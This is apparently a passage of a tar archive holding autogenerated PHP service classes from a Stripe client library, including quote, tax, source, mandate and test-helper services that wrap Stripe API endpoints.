Sets reader display to show cart details. * * @param string $id * @param null|array $params * @param null|RequestOptionsArray|\Stripe\Util\RequestOptions $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\Terminal\Reader */ public function setReaderDisplay($id, $params = null, $opts = null) { return $this->request('post', $this->buildPath('/v1/terminal/readers/%s/set_reader_display', $id), $params, $opts); } /** * Updates a <code>Reader</code> object by setting the values of the parameters * passed. Any parameters not provided will be left unchanged. * * @param string $id * @param null|array $params * @param null|RequestOptionsArray|\Stripe\Util\RequestOptions $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\Terminal\Reader */ public function update($id, $params = null, $opts = null) { return $this->request('post', $this->buildPath('/v1/terminal/readers/%s', $id), $params, $opts); } } ����������������������������������������������������������������������������������������������������������stripe-gateway/lib/Service/QuoteService.php���������������������������������������������������������0000644�����������������00000014312�14720677707�0015030 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php // File generated from our OpenAPI spec namespace Stripe\Service; /** * @phpstan-import-type RequestOptionsArray from \Stripe\Util\RequestOptions * @psalm-import-type RequestOptionsArray from \Stripe\Util\RequestOptions */ class QuoteService extends \Stripe\Service\AbstractService { /** * Accepts the specified quote. * * @param string $id * @param null|array $params * @param null|RequestOptionsArray|\Stripe\Util\RequestOptions $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\Quote */ public function accept($id, $params = null, $opts = null) { return $this->request('post', $this->buildPath('/v1/quotes/%s/accept', $id), $params, $opts); } /** * Returns a list of your quotes. * * @param null|array $params * @param null|RequestOptionsArray|\Stripe\Util\RequestOptions $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\Collection<\Stripe\Quote> */ public function all($params = null, $opts = null) { return $this->requestCollection('get', '/v1/quotes', $params, $opts); } /** * When retrieving a quote, there is an includable <a * href="https://stripe.com/docs/api/quotes/object#quote_object-computed-upfront-line_items"><strong>computed.upfront.line_items</strong></a> * property containing the first handful of those items. There is also a URL where * you can retrieve the full (paginated) list of upfront line items. * * @param string $id * @param null|array $params * @param null|RequestOptionsArray|\Stripe\Util\RequestOptions $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\Collection<\Stripe\LineItem> */ public function allComputedUpfrontLineItems($id, $params = null, $opts = null) { return $this->requestCollection('get', $this->buildPath('/v1/quotes/%s/computed_upfront_line_items', $id), $params, $opts); } /** * When retrieving a quote, there is an includable <strong>line_items</strong> * property containing the first handful of those items. There is also a URL where * you can retrieve the full (paginated) list of line items. * * @param string $id * @param null|array $params * @param null|RequestOptionsArray|\Stripe\Util\RequestOptions $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\Collection<\Stripe\LineItem> */ public function allLineItems($id, $params = null, $opts = null) { return $this->requestCollection('get', $this->buildPath('/v1/quotes/%s/line_items', $id), $params, $opts); } /** * Cancels the quote. * * @param string $id * @param null|array $params * @param null|RequestOptionsArray|\Stripe\Util\RequestOptions $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\Quote */ public function cancel($id, $params = null, $opts = null) { return $this->request('post', $this->buildPath('/v1/quotes/%s/cancel', $id), $params, $opts); } /** * A quote models prices and services for a customer. Default options for * <code>header</code>, <code>description</code>, <code>footer</code>, and * <code>expires_at</code> can be set in the dashboard via the <a * href="https://dashboard.stripe.com/settings/billing/quote">quote template</a>. * * @param null|array $params * @param null|RequestOptionsArray|\Stripe\Util\RequestOptions $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\Quote */ public function create($params = null, $opts = null) { return $this->request('post', '/v1/quotes', $params, $opts); } /** * Finalizes the quote. * * @param string $id * @param null|array $params * @param null|RequestOptionsArray|\Stripe\Util\RequestOptions $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\Quote */ public function finalizeQuote($id, $params = null, $opts = null) { return $this->request('post', $this->buildPath('/v1/quotes/%s/finalize', $id), $params, $opts); } /** * Download the PDF for a finalized quote. Explanation for special handling can be * found <a href="https://docs.corp.stripe.com/quotes/overview#quote_pdf">here</a>. * * @param string $id * @param callable $readBodyChunkCallable * @param null|array $params * @param null|RequestOptionsArray|\Stripe\Util\RequestOptions $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return mixed */ public function pdf($id, $readBodyChunkCallable, $params = null, $opts = null) { $opts = \Stripe\Util\RequestOptions::parse($opts); if (!isset($opts->apiBase)) { $opts->apiBase = $this->getClient()->getFilesBase(); } return $this->requestStream('get', $this->buildPath('/v1/quotes/%s/pdf', $id), $readBodyChunkCallable, $params, $opts); } /** * Retrieves the quote with the given ID. * * @param string $id * @param null|array $params * @param null|RequestOptionsArray|\Stripe\Util\RequestOptions $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\Quote */ public function retrieve($id, $params = null, $opts = null) { return $this->request('get', $this->buildPath('/v1/quotes/%s', $id), $params, $opts); } /** * A quote models prices and services for a customer. * * @param string $id * @param null|array $params * @param null|RequestOptionsArray|\Stripe\Util\RequestOptions $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\Quote */ public function update($id, $params = null, $opts = null) { return $this->request('post', $this->buildPath('/v1/quotes/%s', $id), $params, $opts); } } ����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������stripe-gateway/lib/Service/TaxCodeService.php�������������������������������������������������������0000644�����������������00000002711�14720677707�0015262 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php // File generated from our OpenAPI spec namespace Stripe\Service; /** * @phpstan-import-type RequestOptionsArray from \Stripe\Util\RequestOptions * @psalm-import-type RequestOptionsArray from \Stripe\Util\RequestOptions */ class TaxCodeService extends \Stripe\Service\AbstractService { /** * A list of <a href="https://stripe.com/docs/tax/tax-categories">all tax codes * available</a> to add to Products in order to allow specific tax calculations. * * @param null|array $params * @param null|RequestOptionsArray|\Stripe\Util\RequestOptions $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\Collection<\Stripe\TaxCode> */ public function all($params = null, $opts = null) { return $this->requestCollection('get', '/v1/tax_codes', $params, $opts); } /** * Retrieves the details of an existing tax code. Supply the unique tax code ID and * Stripe will return the corresponding tax code information. * * @param string $id * @param null|array $params * @param null|RequestOptionsArray|\Stripe\Util\RequestOptions $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\TaxCode */ public function retrieve($id, $params = null, $opts = null) { return $this->request('get', $this->buildPath('/v1/tax_codes/%s', $id), $params, $opts); } } �������������������������������������������������������stripe-gateway/lib/Service/SourceService.php��������������������������������������������������������0000644�����������������00000007464�14720677707�0015205 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php // File generated from our OpenAPI spec namespace Stripe\Service; /** * @phpstan-import-type RequestOptionsArray from \Stripe\Util\RequestOptions * @psalm-import-type RequestOptionsArray from \Stripe\Util\RequestOptions */ class SourceService extends \Stripe\Service\AbstractService { /** * List source transactions for a given source. * * @param string $id * @param null|array $params * @param null|RequestOptionsArray|\Stripe\Util\RequestOptions $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\Collection<\Stripe\SourceTransaction> */ public function allSourceTransactions($id, $params = null, $opts = null) { return $this->requestCollection('get', $this->buildPath('/v1/sources/%s/source_transactions', $id), $params, $opts); } /** * Creates a new source object. * * @param null|array $params * @param null|RequestOptionsArray|\Stripe\Util\RequestOptions $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\Source */ public function create($params = null, $opts = null) { return $this->request('post', '/v1/sources', $params, $opts); } /** * Delete a specified source for a given customer. * * @param string $parentId * @param string $id * @param null|array $params * @param null|RequestOptionsArray|\Stripe\Util\RequestOptions $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\Account|\Stripe\BankAccount|\Stripe\Card|\Stripe\Source */ public function detach($parentId, $id, $params = null, $opts = null) { return $this->request('delete', $this->buildPath('/v1/customers/%s/sources/%s', $parentId, $id), $params, $opts); } /** * Retrieves an existing source object. Supply the unique source ID from a source * creation request and Stripe will return the corresponding up-to-date source * object information. * * @param string $id * @param null|array $params * @param null|RequestOptionsArray|\Stripe\Util\RequestOptions $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\Source */ public function retrieve($id, $params = null, $opts = null) { return $this->request('get', $this->buildPath('/v1/sources/%s', $id), $params, $opts); } /** * Updates the specified source by setting the values of the parameters passed. Any * parameters not provided will be left unchanged. * * This request accepts the <code>metadata</code> and <code>owner</code> as * arguments. It is also possible to update type specific information for selected * payment methods. Please refer to our <a href="/docs/sources">payment method * guides</a> for more detail. * * @param string $id * @param null|array $params * @param null|RequestOptionsArray|\Stripe\Util\RequestOptions $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\Source */ public function update($id, $params = null, $opts = null) { return $this->request('post', $this->buildPath('/v1/sources/%s', $id), $params, $opts); } /** * Verify a given source. * * @param string $id * @param null|array $params * @param null|RequestOptionsArray|\Stripe\Util\RequestOptions $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\Source */ public function verify($id, $params = null, $opts = null) { return $this->request('post', $this->buildPath('/v1/sources/%s/verify', $id), $params, $opts); } } ������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������stripe-gateway/lib/Service/MandateService.php�������������������������������������������������������0000644�����������������00000001412�14720677707�0015301 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php // File generated from our OpenAPI spec namespace Stripe\Service; /** * @phpstan-import-type RequestOptionsArray from \Stripe\Util\RequestOptions * @psalm-import-type RequestOptionsArray from \Stripe\Util\RequestOptions */ class MandateService extends \Stripe\Service\AbstractService { /** * Retrieves a Mandate object. * * @param string $id * @param null|array $params * @param null|RequestOptionsArray|\Stripe\Util\RequestOptions $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\Mandate */ public function retrieve($id, $params = null, $opts = null) { return $this->request('get', $this->buildPath('/v1/mandates/%s', $id), $params, $opts); } } ������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������stripe-gateway/lib/Service/TaxRateService.php�������������������������������������������������������0000644�����������������00000004323�14720677707�0015304 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php // File generated from our OpenAPI spec namespace Stripe\Service; /** * @phpstan-import-type RequestOptionsArray from \Stripe\Util\RequestOptions * @psalm-import-type RequestOptionsArray from \Stripe\Util\RequestOptions */ class TaxRateService extends \Stripe\Service\AbstractService { /** * Returns a list of your tax rates. Tax rates are returned sorted by creation * date, with the most recently created tax rates appearing first. * * @param null|array $params * @param null|RequestOptionsArray|\Stripe\Util\RequestOptions $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\Collection<\Stripe\TaxRate> */ public function all($params = null, $opts = null) { return $this->requestCollection('get', '/v1/tax_rates', $params, $opts); } /** * Creates a new tax rate. * * @param null|array $params * @param null|RequestOptionsArray|\Stripe\Util\RequestOptions $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\TaxRate */ public function create($params = null, $opts = null) { return $this->request('post', '/v1/tax_rates', $params, $opts); } /** * Retrieves a tax rate with the given ID. * * @param string $id * @param null|array $params * @param null|RequestOptionsArray|\Stripe\Util\RequestOptions $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\TaxRate */ public function retrieve($id, $params = null, $opts = null) { return $this->request('get', $this->buildPath('/v1/tax_rates/%s', $id), $params, $opts); } /** * Updates an existing tax rate. * * @param string $id * @param null|array $params * @param null|RequestOptionsArray|\Stripe\Util\RequestOptions $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\TaxRate */ public function update($id, $params = null, $opts = null) { return $this->request('post', $this->buildPath('/v1/tax_rates/%s', $id), $params, $opts); } } �������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������stripe-gateway/lib/Service/TestHelpers/CustomerService.php������������������������������������������0000644�����������������00000001545�14720677707�0020002 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php // File generated from our OpenAPI spec namespace Stripe\Service\TestHelpers; /** * @phpstan-import-type RequestOptionsArray from \Stripe\Util\RequestOptions * @psalm-import-type RequestOptionsArray from \Stripe\Util\RequestOptions */ class CustomerService extends \Stripe\Service\AbstractService { /** * Create an incoming testmode bank transfer. * * @param string $id * @param null|array $params * @param null|RequestOptionsArray|\Stripe\Util\RequestOptions $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\CustomerCashBalanceTransaction */ public function fundCashBalance($id, $params = null, $opts = null) { return $this->request('post', $this->buildPath('/v1/test_helpers/customers/%s/fund_cash_balance', $id), $params, $opts); } } �����������������������������������������������������������������������������������������������������������������������������������������������������������stripe-gateway/lib/Service/TestHelpers/Issuing/CardService.php��������������������������������������0000644�����������������00000005245�14720677707�0020474 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php // File generated from our OpenAPI spec namespace Stripe\Service\TestHelpers\Issuing; /** * @phpstan-import-type RequestOptionsArray from \Stripe\Util\RequestOptions * @psalm-import-type RequestOptionsArray from \Stripe\Util\RequestOptions */ class CardService extends \Stripe\Service\AbstractService { /** * Updates the shipping status of the specified Issuing <code>Card</code> object to * <code>delivered</code>. * * @param string $id * @param null|array $params * @param null|RequestOptionsArray|\Stripe\Util\RequestOptions $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\Issuing\Card */ public function deliverCard($id, $params = null, $opts = null) { return $this->request('post', $this->buildPath('/v1/test_helpers/issuing/cards/%s/shipping/deliver', $id), $params, $opts); } /** * Updates the shipping status of the specified Issuing <code>Card</code> object to * <code>failure</code>. * * @param string $id * @param null|array $params * @param null|RequestOptionsArray|\Stripe\Util\RequestOptions $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\Issuing\Card */ public function failCard($id, $params = null, $opts = null) { return $this->request('post', $this->buildPath('/v1/test_helpers/issuing/cards/%s/shipping/fail', $id), $params, $opts); } /** * Updates the shipping status of the specified Issuing <code>Card</code> object to * <code>returned</code>. * * @param string $id * @param null|array $params * @param null|RequestOptionsArray|\Stripe\Util\RequestOptions $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\Issuing\Card */ public function returnCard($id, $params = null, $opts = null) { return $this->request('post', $this->buildPath('/v1/test_helpers/issuing/cards/%s/shipping/return', $id), $params, $opts); } /** * Updates the shipping status of the specified Issuing <code>Card</code> object to * <code>shipped</code>. * * @param string $id * @param null|array $params * @param null|RequestOptionsArray|\Stripe\Util\RequestOptions $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\Issuing\Card */ public function shipCard($id, $params = null, $opts = null) { return $this->request('post', $this->buildPath('/v1/test_helpers/issuing/cards/%s/shipping/ship', $id), $params, $opts); } } �����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������stripe-gateway/lib/Service/TestHelpers/Issuing/AuthorizationService.php�����������������������������0000644�����������������00000006771�14720677707�0022470 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php // File generated from our OpenAPI spec namespace Stripe\Service\TestHelpers\Issuing; /** * @phpstan-import-type RequestOptionsArray from \Stripe\Util\RequestOptions * @psalm-import-type RequestOptionsArray from \Stripe\Util\RequestOptions */ class AuthorizationService extends \Stripe\Service\AbstractService { /** * Capture a test-mode authorization. * * @param string $id * @param null|array $params * @param null|RequestOptionsArray|\Stripe\Util\RequestOptions $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\Issuing\Authorization */ public function capture($id, $params = null, $opts = null) { return $this->request('post', $this->buildPath('/v1/test_helpers/issuing/authorizations/%s/capture', $id), $params, $opts); } /** * Create a test-mode authorization. * * @param null|array $params * @param null|RequestOptionsArray|\Stripe\Util\RequestOptions $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\Issuing\Authorization */ public function create($params = null, $opts = null) { return $this->request('post', '/v1/test_helpers/issuing/authorizations', $params, $opts); } /** * Expire a test-mode Authorization. * * @param string $id * @param null|array $params * @param null|RequestOptionsArray|\Stripe\Util\RequestOptions $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\Issuing\Authorization */ public function expire($id, $params = null, $opts = null) { return $this->request('post', $this->buildPath('/v1/test_helpers/issuing/authorizations/%s/expire', $id), $params, $opts); } /** * Finalize the amount on an Authorization prior to capture, when the initial * authorization was for an estimated amount. * * @param string $id * @param null|array $params * @param null|RequestOptionsArray|\Stripe\Util\RequestOptions $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\Issuing\Authorization */ public function finalizeAmount($id, $params = null, $opts = null) { return $this->request('post', $this->buildPath('/v1/test_helpers/issuing/authorizations/%s/finalize_amount', $id), $params, $opts); } /** * Increment a test-mode Authorization. * * @param string $id * @param null|array $params * @param null|RequestOptionsArray|\Stripe\Util\RequestOptions $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\Issuing\Authorization */ public function increment($id, $params = null, $opts = null) { return $this->request('post', $this->buildPath('/v1/test_helpers/issuing/authorizations/%s/increment', $id), $params, $opts); } /** * Reverse a test-mode Authorization. * * @param string $id * @param null|array $params * @param null|RequestOptionsArray|\Stripe\Util\RequestOptions $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\Issuing\Authorization */ public function reverse($id, $params = null, $opts = null) { return $this->request('post', $this->buildPath('/v1/test_helpers/issuing/authorizations/%s/reverse', $id), $params, $opts); } } �������stripe-gateway/lib/Service/TestHelpers/Issuing/PersonalizationDesignService.php���������������������0000644�����������������00000004313�14720677707�0024131 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php // File generated from our OpenAPI spec namespace Stripe\Service\TestHelpers\Issuing; /** * @phpstan-import-type RequestOptionsArray from \Stripe\Util\RequestOptions * @psalm-import-type RequestOptionsArray from \Stripe\Util\RequestOptions */ class PersonalizationDesignService extends \Stripe\Service\AbstractService { /** * Updates the <code>status</code> of the specified testmode personalization design * object to <code>active</code>. * * @param string $id * @param null|array $params * @param null|RequestOptionsArray|\Stripe\Util\RequestOptions $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\Issuing\PersonalizationDesign */ public function activate($id, $params = null, $opts = null) { return $this->request('post', $this->buildPath('/v1/test_helpers/issuing/personalization_designs/%s/activate', $id), $params, $opts); } /** * Updates the <code>status</code> of the specified testmode personalization design * object to <code>inactive</code>. * * @param string $id * @param null|array $params * @param null|RequestOptionsArray|\Stripe\Util\RequestOptions $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\Issuing\PersonalizationDesign */ public function deactivate($id, $params = null, $opts = null) { return $this->request('post', $this->buildPath('/v1/test_helpers/issuing/personalization_designs/%s/deactivate', $id), $params, $opts); } /** * Updates the <code>status</code> of the specified testmode personalization design * object to <code>rejected</code>. * * @param string $id * @param null|array $params * @param null|RequestOptionsArray|\Stripe\Util\RequestOptions $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\Issuing\PersonalizationDesign */ public function reject($id, $params = null, $opts = null) { return $this->request('post', $this->buildPath('/v1/test_helpers/issuing/personalization_designs/%s/reject', $id), $params, $opts); } } ���������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������stripe-gateway/lib/Service/TestHelpers/Issuing/IssuingServiceFactory.php����������������������������0000644�����������������00000001615�14720677707�0022571 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php // File generated from our OpenAPI spec namespace Stripe\Service\TestHelpers\Issuing; /** * Service factory class for API resources in the Issuing namespace. * * @property AuthorizationService $authorizations * @property CardService $cards * @property PersonalizationDesignService $personalizationDesigns * @property TransactionService $transactions */ class IssuingServiceFactory extends \Stripe\Service\AbstractServiceFactory { /** * @var array<string, string> */ private static $classMap = [ 'authorizations' => AuthorizationService::class, 'cards' => CardService::class, 'personalizationDesigns' => PersonalizationDesignService::class, 'transactions' => TransactionService::class, ]; protected function getServiceClass($name) { return \array_key_exists($name, self::$classMap) ? self::$classMap[$name] : null; } } �������������������������������������������������������������������������������������������������������������������stripe-gateway/lib/Service/TestHelpers/Issuing/TransactionService.php�������������������������������0000644�����������������00000003625�14720677707�0022110 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php // File generated from our OpenAPI spec namespace Stripe\Service\TestHelpers\Issuing; /** * @phpstan-import-type RequestOptionsArray from \Stripe\Util\RequestOptions * @psalm-import-type RequestOptionsArray from \Stripe\Util\RequestOptions */ class TransactionService extends \Stripe\Service\AbstractService { /** * Allows the user to capture an arbitrary amount, also known as a forced capture. * * @param null|array $params * @param null|RequestOptionsArray|\Stripe\Util\RequestOptions $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\Issuing\Transaction */ public function createForceCapture($params = null, $opts = null) { return $this->request('post', '/v1/test_helpers/issuing/transactions/create_force_capture', $params, $opts); } /** * Allows the user to refund an arbitrary amount, also known as a unlinked refund. * * @param null|array $params * @param null|RequestOptionsArray|\Stripe\Util\RequestOptions $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\Issuing\Transaction */ public function createUnlinkedRefund($params = null, $opts = null) { return $this->request('post', '/v1/test_helpers/issuing/transactions/create_unlinked_refund', $params, $opts); } /** * Refund a test-mode Transaction. * * @param string $id * @param null|array $params * @param null|RequestOptionsArray|\Stripe\Util\RequestOptions $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\Issuing\Transaction */ public function refund($id, $params = null, $opts = null) { return $this->request('post', $this->buildPath('/v1/test_helpers/issuing/transactions/%s/refund', $id), $params, $opts); } } �����������������������������������������������������������������������������������������������������������stripe-gateway/lib/Service/TestHelpers/Terminal/TerminalServiceFactory.php��������������������������0000644�����������������00000001077�14720677707�0023057 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php // File generated from our OpenAPI spec namespace Stripe\Service\TestHelpers\Terminal; /** * Service factory class for API resources in the Terminal namespace. * * @property ReaderService $readers */ class TerminalServiceFactory extends \Stripe\Service\AbstractServiceFactory { /** * @var array<string, string> */ private static $classMap = [ 'readers' => ReaderService::class, ]; protected function getServiceClass($name) { return \array_key_exists($name, self::$classMap) ? self::$classMap[$name] : null; } } �����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������stripe-gateway/lib/Service/TestHelpers/Terminal/ReaderService.php�����������������������������������0000644�����������������00000001722�14720677707�0021153 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php // File generated from our OpenAPI spec namespace Stripe\Service\TestHelpers\Terminal; /** * @phpstan-import-type RequestOptionsArray from \Stripe\Util\RequestOptions * @psalm-import-type RequestOptionsArray from \Stripe\Util\RequestOptions */ class ReaderService extends \Stripe\Service\AbstractService { /** * Presents a payment method on a simulated reader. Can be used to simulate * accepting a payment, saving a card or refunding a transaction. * * @param string $id * @param null|array $params * @param null|RequestOptionsArray|\Stripe\Util\RequestOptions $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\Terminal\Reader */ public function presentPaymentMethod($id, $params = null, $opts = null) { return $this->request('post', $this->buildPath('/v1/test_helpers/terminal/readers/%s/present_payment_method', $id), $params, $opts); } } ����������������������������������������������stripe-gateway/lib/Service/TestHelpers/TestHelpersServiceFactory.php��������������������������������0000644�����������������00000002302�14720677707�0021763 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php // File generated from our OpenAPI spec namespace Stripe\Service\TestHelpers; /** * Service factory class for API resources in the TestHelpers namespace. * * @property ConfirmationTokenService $confirmationTokens * @property CustomerService $customers * @property Issuing\IssuingServiceFactory $issuing * @property RefundService $refunds * @property Terminal\TerminalServiceFactory $terminal * @property TestClockService $testClocks * @property Treasury\TreasuryServiceFactory $treasury */ class TestHelpersServiceFactory extends \Stripe\Service\AbstractServiceFactory { /** * @var array<string, string> */ private static $classMap = [ 'confirmationTokens' => ConfirmationTokenService::class, 'customers' => CustomerService::class, 'issuing' => Issuing\IssuingServiceFactory::class, 'refunds' => RefundService::class, 'terminal' => Terminal\TerminalServiceFactory::class, 'testClocks' => TestClockService::class, 'treasury' => Treasury\TreasuryServiceFactory::class, ]; protected function getServiceClass($name) { return \array_key_exists($name, self::$classMap) ? self::$classMap[$name] : null; } } ������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������stripe-gateway/lib/Service/TestHelpers/TestClockService.php�����������������������������������������0000644�����������������00000005563�14720677707�0020100 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php // File generated from our OpenAPI spec namespace Stripe\Service\TestHelpers; /** * @phpstan-import-type RequestOptionsArray from \Stripe\Util\RequestOptions * @psalm-import-type RequestOptionsArray from \Stripe\Util\RequestOptions */ class TestClockService extends \Stripe\Service\AbstractService { /** * Starts advancing a test clock to a specified time in the future. Advancement is * done when status changes to <code>Ready</code>. * * @param string $id * @param null|array $params * @param null|RequestOptionsArray|\Stripe\Util\RequestOptions $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\TestHelpers\TestClock */ public function advance($id, $params = null, $opts = null) { return $this->request('post', $this->buildPath('/v1/test_helpers/test_clocks/%s/advance', $id), $params, $opts); } /** * Returns a list of your test clocks. * * @param null|array $params * @param null|RequestOptionsArray|\Stripe\Util\RequestOptions $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\Collection<\Stripe\TestHelpers\TestClock> */ public function all($params = null, $opts = null) { return $this->requestCollection('get', '/v1/test_helpers/test_clocks', $params, $opts); } /** * Creates a new test clock that can be attached to new customers and quotes. * * @param null|array $params * @param null|RequestOptionsArray|\Stripe\Util\RequestOptions $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\TestHelpers\TestClock */ public function create($params = null, $opts = null) { return $this->request('post', '/v1/test_helpers/test_clocks', $params, $opts); } /** * Deletes a test clock. * * @param string $id * @param null|array $params * @param null|RequestOptionsArray|\Stripe\Util\RequestOptions $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\TestHelpers\TestClock */ public function delete($id, $params = null, $opts = null) { return $this->request('delete', $this->buildPath('/v1/test_helpers/test_clocks/%s', $id), $params, $opts); } /** * Retrieves a test clock. * * @param string $id * @param null|array $params * @param null|RequestOptionsArray|\Stripe\Util\RequestOptions $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\TestHelpers\TestClock */ public function retrieve($id, $params = null, $opts = null) { return $this->request('get', $this->buildPath('/v1/test_helpers/test_clocks/%s', $id), $params, $opts); } } ���������������������������������������������������������������������������������������������������������������������������������������������stripe-gateway/lib/Service/TestHelpers/Treasury/OutboundTransferService.php�������������������������0000644�����������������00000006010�14720677707�0023313 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php // File generated from our OpenAPI spec namespace Stripe\Service\TestHelpers\Treasury; /** * @phpstan-import-type RequestOptionsArray from \Stripe\Util\RequestOptions * @psalm-import-type RequestOptionsArray from \Stripe\Util\RequestOptions */ class OutboundTransferService extends \Stripe\Service\AbstractService { /** * Transitions a test mode created OutboundTransfer to the <code>failed</code> * status. The OutboundTransfer must already be in the <code>processing</code> * state. * * @param string $id * @param null|array $params * @param null|RequestOptionsArray|\Stripe\Util\RequestOptions $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\Treasury\OutboundTransfer */ public function fail($id, $params = null, $opts = null) { return $this->request('post', $this->buildPath('/v1/test_helpers/treasury/outbound_transfers/%s/fail', $id), $params, $opts); } /** * Transitions a test mode created OutboundTransfer to the <code>posted</code> * status. The OutboundTransfer must already be in the <code>processing</code> * state. * * @param string $id * @param null|array $params * @param null|RequestOptionsArray|\Stripe\Util\RequestOptions $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\Treasury\OutboundTransfer */ public function post($id, $params = null, $opts = null) { return $this->request('post', $this->buildPath('/v1/test_helpers/treasury/outbound_transfers/%s/post', $id), $params, $opts); } /** * Transitions a test mode created OutboundTransfer to the <code>returned</code> * status. The OutboundTransfer must already be in the <code>processing</code> * state. * * @param string $id * @param null|array $params * 